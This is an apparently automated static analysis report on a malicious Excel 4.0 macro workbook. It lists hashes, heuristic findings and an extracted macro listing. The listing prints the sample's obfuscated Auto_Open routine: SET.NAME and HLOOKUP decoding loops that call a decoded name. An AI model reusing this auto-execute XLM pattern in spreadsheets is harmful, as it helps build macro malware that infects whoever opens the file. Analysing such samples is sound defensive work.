Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 eeda3bc8b3ae24bd…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:37:53 Authoring application: Microsoft Excel First seen: 2021-04-10
MD5: 2147ac2b712163a311c8cd0335981ca0 SHA-1: 9165e3516b0316196e1d61f119225f97ecf2966d SHA-256: eeda3bc8b3ae24bd96345dfed7c8e53ed7a40a6ae502a919dfbf9707e2acf671
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6777 bytes
SHA-256: ec7b86d822fdf96d1cd8526b85039fab210da0967bb9d98da22a0ba23e45440e
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  aauCriCH
' 0018     24 LABEL : Cell Value, String Constant - AujqONarZ len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H175 
' 0018     23 LABEL : Cell Value, String Constant - bdlEhriM len=0 
' 0018     25 LABEL : Cell Value, String Constant - dRYwNYDPdS len=0 
' 0018     24 LABEL : Cell Value, String Constant - dXxYOWoSj len=0 
' 0018     26 LABEL : Cell Value, String Constant - DZKjtVgFzLe len=0 
' 0018     24 LABEL : Cell Value, String Constant - FJkZXUDJh len=0 
' 0018     26 LABEL : Cell Value, String Constant - gQTbOxsaGaX len=0 
' 0018     24 LABEL : Cell Value, String Constant - hhDelCaxX len=0 
' 0018     26 LABEL : Cell Value, String Constant - HXGVtXBvKBV len=0 
' 0018     23 LABEL : Cell Value, String Constant - isyUMPuV len=0 
' 0018     25 LABEL : Cell Value, String Constant - MrsuAKwEgy len=0 
' 0018     26 LABEL : Cell Value, String Constant - MtQfEXuBbMB len=0 
' 0018     20 LABEL : Cell Value, String Constant - MVvZu len=0 
' 0018     21 LABEL : Cell Value, String Constant - OHmNfa len=0 
' 0018     22 LABEL : Cell Value, String Constant - QaXbzaz len=0 
' 0018     27 LABEL : Cell Value, String Constant - qEPDqzixfoRY len=0 
' 0018     23 LABEL : Cell Value, String Constant - tHLVPHpe len=0 
' 0018     20 LABEL : Cell Value, String Constant - ynrBW len=0 
' 0018     22 LABEL : Cell Value, String Constant - ZCanrCj len=0 
' 0018     26 LABEL : Cell Value, String Constant - ZJKSTgEmQpU len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  aauCriCH,H76,"SET.NAME("qEPDqzixfoRY",0+VALUE("0"))",""
'  aauCriCH,T78,"",182.00000000000000000000
'  aauCriCH,T79,"",124.00000000000000000000
'  aauCriCH,T80,"",497.00000000000000000000
'  aauCriCH,H81,"SET.NAME("FJkZXUDJh",qEPDqzixfoRY)",""
'  aauCriCH,T81,"",863.00000000000000000000
'  aauCriCH,T82,"",688.00000000000000000000
'  aauCriCH,T83,"",-609.00000000000000000000
'  aauCriCH,H84,"SET.NAME("bdlEhriM",qEPDqzixfoRY)",""
'  aauCriCH,H89,"SET.NAME("MtQfEXuBbMB",COUNTA(HXGVtXBvKBV))",""
'  aauCriCH,H91,"SET.NAME("MrsuAKwEgy",COUNTA(tHLVPHpe))",""
'  aauCriCH,H96,[],""
'  aauCriCH,H98,"SET.NAME("MVvZu","")",""
'  aauCriCH,H101,"FJkZXUDJh",""
'  aauCriCH,H105,"SET.NAME("hhDelCaxX",HLOOKUP("*",HXGVtXBvKBV,FJkZXUDJh,FALSE))",""
'  aauCriCH,H107,"ZCanrCj",""
'  aauCriCH,H111,"SET.NAME("ynrBW",qEPDqzixfoRY)",""
'  aauCriCH,H113,[],""
'  aauCriCH,H118,"ynrBW",""
'  aauCriCH,H123,"dRYwNYDPdS",""
'  aauCriCH,H127,"DZKjtVgFzLe",""
'  aauCriCH,H132,"isyUMPuV",""
'  aauCriCH,H135,"SET.NAME("OHmNfa",VALUE(HLOOKUP("*",tHLVPHpe,isyUMPuV,FALSE)))",""
'  aauCriCH,H137,"dXxYOWoSj",""
'  aauCriCH,H141,"MVvZu",""
'  aauCriCH,H144,"bdlEhriM",""
'  aauCriCH,H149,NEXT(),""
'  aauCriCH,H154,"QaXbzaz",""
'  aauCriCH,H159,[],""
'  aauCriCH,H164,"gQTbOxsaGaX",""
'  aauCriCH,H168,NEXT(),""
'  aauCriCH,H170,RETURN(),""
'  aauCriCH,H198,"SET.NAME("ZJKSTgEmQpU",H76)",""
'  aauCriCH,H201,"HXGVtXBvKBV",""
'  aauCriCH,H204,"SET.NAME("tHLVPHpe",R73C12)",""
'  aauCriCH,H207,"SET.NAME("gQTbOxsaGaX",218)",""
'  aauCriCH,H212,"SET.NAME("AujqONarZ",8)",""
'  aauCriCH,H217,ZJKSTgEmQpU(),""
'  aauCriCH,H218,HALT(),""

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